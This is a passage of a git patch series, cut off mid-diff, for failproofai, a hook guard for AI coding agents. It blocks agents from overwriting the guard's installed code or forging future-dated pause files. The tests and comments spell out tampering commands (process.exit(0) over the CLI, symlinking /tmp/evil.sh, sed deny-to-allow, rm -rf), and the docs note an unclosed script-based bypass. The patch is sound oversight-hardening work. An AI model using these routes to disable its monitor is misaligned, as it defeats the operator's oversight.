From 886ca0e3dacd277f0e84023ffb67b601939056f9 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:01:25 +0530 Subject: [PATCH 01/12] [hooks] Guard failproofai's installed code and refuse future-dated pauses (FailproofAI/agenteye#1796) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (a) The always-on guard (block-failproofai-commands) matched protected paths with /\.failproofai(?:\/|\b)/, which needs a dot the installed package path (…/node_modules/failproofai/) does not have. User-scope hooks run that package from the absolute path `which failproofai` returned, which under nvm, Homebrew, Volta, bun, pnpm and the npx cache the agent's own user can write, so a Write of process.exit(0) over dist/cli.mjs turned every later hook into an allow, machine-wide. FAILPROOFAI_CODE_PATH_RE covers node_modules/failproofai, the daemon's @failproofai/failproofaid-* package and the bin/ and pnpm/ failproofai entries, case-insensitively, and is folded into FAILPROOFAI_STATE_PATH_RE so the file tools, the shell walk, variable tracking and glob matching all see it. File tools also check the symlink-resolved target, because the bin entry is usually a link into the package. (b) A session pause capped at 8h from firstPausedAt, read from the same owner-writable file, so a forged pause dated 2100 stayed live until 2100. parseStored now refuses a start in the future (beyond a one-minute clock step) or after the latest renewal. A script the agent writes and runs can still forge an 8h pause or overwrite the CLI: everything that decides enforcement is writable by the agent's user. Documented in docs/reference/failproof-cli.mdx. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 + __tests__/hooks/guard-installed-code.test.ts | 215 +++++++++++++++++++ __tests__/hooks/session-pause.test.ts | 50 +++++ docs/reference/failproof-cli.mdx | 2 +- src/hooks/builtin-policies.ts | 114 +++++++++- src/hooks/session-pause.ts | 32 ++- 6 files changed, 405 insertions(+), 10 deletions(-) create mode 100644 __tests__/hooks/guard-installed-code.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index d1c07e8de..40cfa2e67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, to the daemon's `@failproofai/failproofaid-*` package, or to the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are the shell commands that write there. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100 (FailproofAI/agenteye#1796) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts new file mode 100644 index 000000000..b4f9e0692 --- /dev/null +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -0,0 +1,215 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as state-guard.test.ts. The symlink cases below use the real +// synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "process.exit(0)\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +const edit = async (file_path: string) => + policy.fn(makeCtx({ toolName: "Edit", toolInput: { file_path, old_string: "deny(", new_string: "allow(" } })); + +/** Where the user-scope hook command's `which failproofai` lands, per install method. */ +const NVM_PKG = "/home/u/.nvm/versions/node/v22.11.0/lib/node_modules/failproofai"; +const INSTALLED_CLI = [ + ["nvm", `${NVM_PKG}/dist/cli.mjs`], + ["Homebrew node", "/opt/homebrew/lib/node_modules/failproofai/dist/cli.mjs"], + ["a system npm prefix", "/usr/local/lib/node_modules/failproofai/dist/cli.mjs"], + ["Volta", "/home/u/.volta/tools/image/packages/failproofai/lib/node_modules/failproofai/dist/cli.mjs"], + ["bun", "/home/u/.bun/install/global/node_modules/failproofai/dist/cli.mjs"], + ["the npx cache", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/failproofai/dist/cli.mjs"], + ["pnpm", "/home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15/node_modules/failproofai/dist/cli.mjs"], + ["yarn", "/home/u/.config/yarn/global/node_modules/failproofai/dist/cli.mjs"], + ["a project install (npx)", "/work/proj/node_modules/failproofai/dist/cli.mjs"], +] as const; + +/** + * `block-failproofai-commands` protected failproofai's STATE (`~/.failproofai`) + * and not the CODE that reads it. User-scope hooks run the absolute path `which + * failproofai` returned, which for nvm, Homebrew, Volta, bun, pnpm and the npx + * cache is a package directory the agent's own user can write — and the hook + * client runs fresh from it on every tool call. Overwriting `dist/cli.mjs` with + * `process.exit(0)` turns every hook into an allow on the next call, for every + * session on the machine, and nothing reports it. (FailproofAI/agenteye#1796) + */ +describe("block-failproofai-commands — failproofai's installed code", () => { + describe("file tools", () => { + it.each(INSTALLED_CLI)("denies Write over the CLI installed by %s", async (_how, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies Edit and NotebookEdit inside the installed package", async () => { + expect((await edit(`${NVM_PKG}/dist/worker.mjs`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/dist/index.js`)).decision).toBe("deny"); + expect((await edit(`${NVM_PKG}/package.json`)).decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: `${NVM_PKG}/x.ipynb` } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + // The daemon binary ships as an optional dependency, and `failproofai + // config` / `update` copies it into place — on Linux as root, under /opt. + it("denies writing the failproofaid platform package", async () => { + for (const path of [ + `${NVM_PKG}/node_modules/@failproofai/failproofaid-linux-x64/bin/failproofaid`, + "/work/proj/node_modules/@failproofai/failproofaid-darwin-arm64/bin/failproofaid", + ]) { + expect((await write(path)).decision).toBe("deny"); + } + }); + + // The hook command names the bin entry, not the package: replacing it is + // the same bypass without touching `node_modules` at all. + it.each([ + ["nvm", "/home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["a system npm prefix", "/usr/local/bin/failproofai"], + ["Homebrew", "/opt/homebrew/bin/failproofai"], + ["bun", "/home/u/.bun/bin/failproofai"], + ["Volta", "/home/u/.volta/bin/failproofai"], + ["yarn", "/home/u/.yarn/bin/failproofai"], + ["pnpm on Linux", "/home/u/.local/share/pnpm/failproofai"], + ["pnpm on macOS", "/Users/u/Library/pnpm/failproofai"], + ])("denies replacing the hook entry point installed by %s", async (_how, path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, so every casing of a + // protected path opens the real file. + it("matches the protected paths case-insensitively", async () => { + expect((await write("/Users/u/.nvm/versions/node/v22.11.0/lib/node_modules/FailproofAI/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/opt/homebrew/bin/FAILPROOFAI")).decision).toBe("deny"); + expect((await write("/Users/u/.FailproofAI/policies-config.json")).decision).toBe("deny"); + }); + + it("sees through separators a path resolver collapses", async () => { + expect((await write("/usr/local/lib/node_modules//failproofai/dist/cli.mjs")).decision).toBe("deny"); + expect((await write("/usr/local/lib/node_modules/./failproofai/dist/cli.mjs")).decision).toBe("deny"); + }); + + describe("through links", () => { + let root: string; + let pkg: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-guard-")); + pkg = join(root, "lib", "node_modules", "failproofai"); + mkdirSync(join(pkg, "dist"), { recursive: true }); + writeFileSync(join(pkg, "dist", "cli.mjs"), "// real cli\n"); + mkdirSync(join(root, "elsewhere"), { recursive: true }); + // Neither link's own path says anything about failproofai. + symlinkSync(join(pkg, "dist", "cli.mjs"), join(root, "elsewhere", "tool.mjs")); + symlinkSync(pkg, join(root, "elsewhere", "pkg")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // A file tool writes THROUGH a symlink, so the path it was given is not + // the path it changes. npm, nvm and bun all install the bin entry as one. + it("denies a write whose symlink lands in the installed package", async () => { + const result = await write(join(root, "elsewhere", "tool.mjs")); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + it("denies creating a new file under a linked package directory", async () => { + expect((await write(join(root, "elsewhere", "pkg", "dist", "new-entry.mjs"))).decision).toBe("deny"); + }); + + it("resolves a relative path against the session's cwd", async () => { + expect((await write("elsewhere/tool.mjs", root)).decision).toBe("deny"); + }); + + it("still allows an ordinary file next to the links", async () => { + expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); + }); + }); + + // Not a general file-write blocker: the package directory and the bin + // entry, and nothing that merely carries the name. + it.each([ + ["a source file in a failproofai checkout", "/home/u/src/failproofai/src/hooks/builtin-policies.ts"], + ["the checkout's own bin script", "/home/u/src/failproofai/bin/failproofai.mjs"], + ["the checkout's own build output", "/home/u/src/failproofai/dist/cli.mjs"], + ["another package's file", "/work/proj/node_modules/react/index.js"], + ["a package that only shares a prefix", "/work/proj/node_modules/failproofai-extras/index.js"], + ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], + ["a project file named after the product", "/work/proj/src/failproofai.ts"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { + it.each([ + ["a copy over the CLI", `cp /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a move over the CLI", `mv /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], + ["a redirect over the CLI", `cat /tmp/x.mjs > ${NVM_PKG}/dist/cli.mjs`], + ["an in-place sed", `sed -i 's/deny(/allow(/' ${NVM_PKG}/dist/cli.mjs`], + ["tee into the worker", `tee ${NVM_PKG}/dist/worker.mjs < /tmp/x.mjs`], + ["removing the package", `rm -rf ${NVM_PKG}`], + ["an interpreter writing the CLI", `python3 -c "open('${NVM_PKG}/dist/cli.mjs','w').write('')"`], + ["cd into the package, then delete", `cd ${NVM_PKG} && rm -rf dist`], + ["a project install", "rm -rf node_modules/failproofai"], + ["a glob onto a project install", "rm -rf node_modules/fail*"], + ["relinking the hook entry", "ln -sf /tmp/evil.sh /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["copying over the hook entry", "cp /tmp/evil.sh /usr/local/bin/failproofai"], + ["installing over the hook entry", "install -m 755 /tmp/evil.sh /home/u/.bun/bin/failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + it.each([ + ["reading the package manifest", `cat ${NVM_PKG}/package.json`], + ["listing the build", `ls -la ${NVM_PKG}/dist`], + ["searching the build", "grep -rn block-failproofai-commands node_modules/failproofai/dist"], + ["hashing the CLI", `sha256sum ${NVM_PKG}/dist/cli.mjs`], + ["resolving the hook entry", "readlink -f /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], + ["backing the package up", "cp -r node_modules/failproofai /tmp/fp-backup"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every dependency", "rm -rf node_modules/*"], + ["clearing a build cache", "rm -rf node_modules/.cache"], + ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], + ["cloning the repo", "git clone https://github.com/FailproofAI/failproofai"], + ["asking the registry", "npm view failproofai version"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + }); +}); diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 9ef3c0081..55e0697f5 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -206,6 +206,56 @@ describe("pause state", () => { // And it is genuinely inert once the ceiling passes. expect(readActivePause("sess-h", start + PAUSE_CEILING_MS + 1)).toBeNull(); }); + + // The clamp above measures the ceiling from `firstPausedAt`, which comes from + // the same file. Moving the START out of reach moved the ceiling with it: a + // file dated 2100 read as live on every tool call until then — a single forged + // write that outlasted every session on the machine (FailproofAI/agenteye#1796). + describe("a pause that claims to start in the future", () => { + const forge = (fields: Record) => { + writePause({ sessionId: "sess-f", durationMs: 60_000, now: 1_000 }); + const [file] = readdirSync(pauseStateDir()); + writeFileSync( + resolve(pauseStateDir(), file), + JSON.stringify({ schemaVersion: 1, sessionId: "sess-f", setBy: "cli", ...fields }), + ); + }; + const now = Date.UTC(2026, 10, 24); + const year2100 = Date.UTC(2100, 0, 1); + + it("is not a pause at all", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + expect(readActivePause("sess-f", now)).toBeNull(); + expect(readActivePause("sess-f", now + 30 * 24 * 3_600_000)).toBeNull(); + expect(listActivePauses(now)).toEqual([]); + }); + + it("is refused when only the start of the run is in the future", () => { + forge({ pausedAt: now, firstPausedAt: year2100, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + it("is refused when the run starts after its latest renewal", () => { + forge({ pausedAt: now - 60_000, firstPausedAt: now - 1_000, expiresAt: now + 60_000 }); + expect(readActivePause("sess-f", now)).toBeNull(); + }); + + // The writer and the reader share one clock, so a legitimate file is never + // ahead of it by more than a clock correction. Refusing would only ever turn + // enforcement back ON, but a pause that vanishes after a small clock step + // would just be re-issued, so a minute of slack costs nothing. + it("tolerates a small clock step backwards", () => { + forge({ pausedAt: now + 30_000, firstPausedAt: now + 30_000, expiresAt: now + 90_000 }); + expect(readActivePause("sess-f", now)?.expiresAt).toBe(now + 90_000); + }); + + it("never lets a forged start carry into a real renewal", () => { + forge({ pausedAt: year2100, firstPausedAt: year2100, expiresAt: year2100 }); + const renewed = writePause({ sessionId: "sess-f", durationMs: 60_000, now }); + expect(renewed.firstPausedAt).toBe(now); + expect(renewed.expiresAt).toBe(now + 60_000); + }); + }); }); describe("formatDuration", () => { diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e27e98466..e672159be 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -99,7 +99,7 @@ Run `failproofai` without arguments to open the local policy dashboard. | `--session ` | Target an explicit session for pause or resume | | `--all` | With `--resume`, end every active pause | -Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire and do not disable Cloud-managed policies. `block-failproofai-commands` — which is always on and cannot itself be disabled or paused — prevents an instrumented agent from using this escape hatch itself. +Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start that is not in the future, not for who wrote it. ## Policy flags diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 16402d333..7c62bc41c 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,8 +1,8 @@ /** * Built-in security policies for Claude Code hooks. */ -import { resolve, join } from "node:path"; -import { statSync } from "node:fs"; +import { resolve, join, dirname, basename, isAbsolute } from "node:path"; +import { realpathSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -462,12 +462,87 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** - * A command that removes or moves failproofai's own state. + * failproofai's INSTALLED CODE: the package a hook command runs, and the bin + * entry that names it. + * + * User-scope hooks run the absolute path `which failproofai` returned at + * install time. Under nvm, Homebrew, Volta, bun, pnpm and the npx cache that is + * a package directory the agent's own user can write, and the hook client runs + * fresh from it on every tool call — so `process.exit(0)` written over + * `dist/cli.mjs` turned every later hook into an allow, for every session on + * the machine, with nothing reporting it. The daemon cannot catch that: a + * tampered client never asks it. The state pattern below needs a `.` the + * package path does not have (FailproofAI/agenteye#1796). + * + * - `node_modules/failproofai`, in every layout a package manager uses — and + * `node_modules/@failproofai/failproofaid-*`, the daemon's platform package, + * which `failproofai config` and `update` copy into place (on Linux as root, + * under `/opt`). + * - `…/bin/failproofai`, the entry npm, nvm, Homebrew, bun, Volta and yarn put + * on PATH, and `…/pnpm/failproofai`, which pnpm puts directly in its home. + * + * A checkout of this repository matches neither — no `node_modules` above it, + * and its entry is `bin/failproofai.mjs` — so the guard does not stand in front + * of working on failproofai itself. `node_modules/.bin/failproofai`, the stub + * `npx` prefers, is not matched here either (FailproofAI/agenteye#1795). + * + * Case-insensitive because macOS volumes are by default: every casing of these + * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path + * resolver collapses. + */ +const FAILPROOFAI_CODE_PATH_RE = + /node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)|[\\/](?:bin|pnpm)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@-])/i; + +/** + * failproofai's own files: its state, and the installed code above. + * + * Named for the state, which came first. The code joined it because writing + * over it switches enforcement off as completely as deleting the state does, + * and every use of this pattern — the file tools, the shell walk, the variable + * and glob tracking — has to see both. * * Named separately from the binary walk because it never mentions the binary: * the target is a path, and the verb is an ordinary file command. */ -const FAILPROOFAI_STATE_PATH_RE = /\.failproofai(?:\/|\b)/; +const FAILPROOFAI_STATE_PATH_RE = new RegExp( + String.raw`\.failproofai(?:\/|\b)|` + FAILPROOFAI_CODE_PATH_RE.source, + "i", +); + +/** Which of failproofai's own files `path` names, for a deny message that says which. */ +function failproofaiFileKind(path: string): "state" | "code" | null { + if (!path || !FAILPROOFAI_STATE_PATH_RE.test(path)) return null; + return FAILPROOFAI_CODE_PATH_RE.test(path) ? "code" : "state"; +} + +/** + * The file a write to `path` actually changes, every symlink resolved. + * + * A file tool writes THROUGH a link, so the path it is handed is not + * necessarily the one it changes — and npm, nvm and bun install the + * `failproofai` bin entry as exactly such a link into the package. A tail that + * does not exist yet (a file about to be created) is re-attached to the deepest + * ancestor that does, so a new file under a linked directory resolves too. A + * relative path is taken from the session's directory, not this process's: the + * daemon's worker runs somewhere else entirely. + * + * "" when nothing resolves. Never throws — this runs for every file write. + */ +function resolveWriteTarget(path: string, cwd: string | undefined): string { + let current = isAbsolute(path) ? path : path && cwd ? join(cwd, path) : ""; + const missing: string[] = []; + for (let depth = 0; current && depth < 64; depth++) { + try { + return join(realpathSync(current), ...missing); + } catch { + const parent = dirname(current); + if (parent === current) break; + missing.unshift(basename(current)); + current = parent; + } + } + return ""; +} /** * Everything the state guard is allowed to let PAST, as a list of commands that @@ -702,6 +777,18 @@ const STATE_GLOB_CANDIDATES = [ "/root/.failproofai", "/home/u/.failproofai", "/Users/u/.failproofai", + // The installed code (FAILPROOFAI_CODE_PATH_RE): a project install, and the + // global locations whose prefix is the same on every machine. nvm's version + // directory and the npx cache's hash are not, so a glob under those is not one + // this list can anticipate; the literal paths there still match. + "node_modules/failproofai", + "/usr/local/lib/node_modules/failproofai", + "/usr/lib/node_modules/failproofai", + "/opt/homebrew/lib/node_modules/failproofai", + "/usr/local/bin/failproofai", + "/opt/homebrew/bin/failproofai", + "~/.bun/bin/failproofai", + "~/.volta/bin/failproofai", ]; /** @@ -719,6 +806,11 @@ const GLOB_DECOYS = [ "~/.config", "~/.cache", "$HOME/.config", "${HOME}/.cache", "/home/u/.config", "/Users/u/.config", "/root/.cache", "/tmp/build", "a", "foo.txt", "test-failures", + // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and + // its global equivalents are read as the sweeps they are. + "node_modules/react", "node_modules/.bin", + "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", + "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; /** @@ -2456,7 +2548,17 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // so naming the state at all is the whole test. if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - if (FAILPROOFAI_STATE_PATH_RE.test(path)) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { return deny( "Writing to failproofai's own state would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", @@ -2492,7 +2594,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // matcher and a real path to the shell. if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { return deny( - "Deleting, moving or overwriting failproofai's own state would switch enforcement off. " + + "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", ); } diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index c5da82ccc..5af52fd59 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -20,6 +20,14 @@ * stale file is therefore inert rather than dangerous — the failure mode worth * engineering against is not "the pause didn't work", it is "the pause silently * never ended". + * + * What this file does NOT give is unforgeability. The directory is owner- + * writable, and so is everything else that decides enforcement on this machine + * — the agent's hook config, the installed CLI, the interpreter that runs it — + * so anything running as the user, an agent's own script included, can write a + * pause here. The always-on guard refuses the direct routes; what the reader + * enforces is that one write buys at most the ceiling, measured from a start + * that cannot lie in the future (FailproofAI/agenteye#1796). */ import { existsSync, mkdirSync, readdirSync, readFileSync, rmSync } from "node:fs"; import { createHash } from "node:crypto"; @@ -126,7 +134,16 @@ export function formatDuration(ms: number): string { return rest === 0 ? `${hours}h` : `${hours}h${rest}m`; } -function parseStored(raw: unknown): StoredPause | null { +/** + * How far a pause's recorded start may sit ahead of the reader's clock. + * + * The CLI that writes a pause and the hook that reads it share one clock, so a + * genuine file is ahead of it only after a clock correction — a minute covers + * that. Anything further was not written by `writePause` on this machine. + */ +const CLOCK_STEP_ALLOWANCE_MS = 60_000; + +function parseStored(raw: unknown, now: number): StoredPause | null { if (!raw || typeof raw !== "object") return null; const p = raw as Partial; if (p.schemaVersion !== SCHEMA_VERSION) return null; @@ -136,6 +153,15 @@ function parseStored(raw: unknown): StoredPause | null { // A file written before this field existed measures its ceiling from the // only start it recorded. Same meaning for a pause that was never renewed. const firstPausedAt = Number.isFinite(p.firstPausedAt) ? (p.firstPausedAt as number) : pausedAt; + // The ceiling below is measured from the run's start, and the start comes + // from this same owner-writable file — so a start in the future carried the + // ceiling with it. A file dated 2100 read as live on every tool call until + // 2100 (FailproofAI/agenteye#1796). `writePause` only ever records `now`, and + // a renewal keeps the earlier start, so a start after the renewal or ahead of + // the clock is not a pause this CLI wrote. Refused rather than clamped: + // clamping the start to `now` would restart the ceiling on every read, and + // refusing errs toward enforcement. + if (firstPausedAt > pausedAt || pausedAt > now + CLOCK_STEP_ALLOWANCE_MS) return null; return { schemaVersion: SCHEMA_VERSION, sessionId: p.sessionId, @@ -165,7 +191,7 @@ export function readActivePause(sessionId: string | undefined, now = Date.now()) try { const path = pauseFilePath(sessionId); if (!existsSync(path)) return null; - const stored = parseStored(JSON.parse(readFileSync(path, "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(path, "utf8")), now); if (!stored) return null; if (stored.expiresAt <= now) return null; // expired — inert, not dangerous const { schemaVersion: _ignored, ...pause } = stored; @@ -228,7 +254,7 @@ export function listActivePauses(now = Date.now()): ActivePause[] { for (const name of names) { if (!name.endsWith(".json")) continue; try { - const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8")), now); if (!stored || stored.expiresAt <= now) continue; const { schemaVersion: _ignored, ...pause } = stored; out.push(pause); From 18328b0d05ee4787a4646268060ac519884ab61e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:16:23 +0530 Subject: [PATCH 02/12] [hooks] Address review: kernel-order symlink walk, pnpm store, $NVM_BIN, pause renewal and --resume --all MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - resolveWriteTarget walks the path one component at a time with lstat and readlink. Node's realpathSync collapses `..` as text before following links, so a Write to `/../dist/cli.mjs` resolved to a harmless path while open(2) wrote the CLI. It also expands `~`, and a non-string file_path no longer throws (a throw drops the always-on guard from the evaluation). - The installed-code pattern covers pnpm's virtual store (`.pnpm/failproofai@…`, `.pnpm/@failproofai+failproofaid…@…`) and the entry through `$NVM_BIN` / `$PNPM_HOME`; a directory named failproofai under bin/ is no longer read as the entry file. Glob candidates for `./node_modules/failproofai` and pnpm's store, with decoys. - writePause keeps the run's start no later than the renewal, so a renewal right after a small clock step back is not refused by the reader. - `config --resume --all` removes every pause file, including one dated in the future that is not honoured yet and would otherwise turn live later. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 +- __tests__/hooks/guard-installed-code.test.ts | 36 +++++ __tests__/hooks/session-pause-cli.test.ts | 12 ++ __tests__/hooks/session-pause.test.ts | 21 +++ src/hooks/builtin-policies.ts | 136 +++++++++++++------ src/hooks/session-pause-cli.ts | 6 +- src/hooks/session-pause.ts | 33 ++++- 7 files changed, 199 insertions(+), 49 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 40cfa2e67..517b19a86 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,8 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, to the daemon's `@failproofai/failproofaid-*` package, or to the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are the shell commands that write there. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100 (FailproofAI/agenteye#1796) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796) ## 1.0.16-beta.0 — 2026-11-23 diff --git 